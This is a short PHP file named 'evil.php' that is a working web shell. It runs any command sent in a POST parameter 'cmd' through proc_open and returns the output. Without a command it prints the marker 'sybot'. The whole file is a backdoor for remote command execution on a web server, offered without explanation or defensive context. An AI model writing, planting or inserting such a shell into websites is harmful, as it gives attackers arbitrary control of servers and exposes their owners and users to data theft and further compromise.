evil.php

<?php 
if (isset($_POST["cmd"])) {
    $cmd = ($_POST["cmd"]);

    function exec_cmd($command) {
        $descriptor_spec = array(
            0 => array("pipe", "r"), 
            1 => array("pipe", "w"),
            2 => array("file", "error-out.txt", "a")
        );

        $cwd = "";
        $env = array("some-option" => 'aeiou');
        $proc = proc_open($command, $descriptor_spec, $pipes, $cwd, $env);
        if (is_resource($proc)) {
            echo stream_get_contents($pipes[1]);
            fclose($pipes[1]);
            proc_close($proc);
        }
    }
    exec_cmd($cmd);
    exit;
} else {
    echo "sybot";
}
?>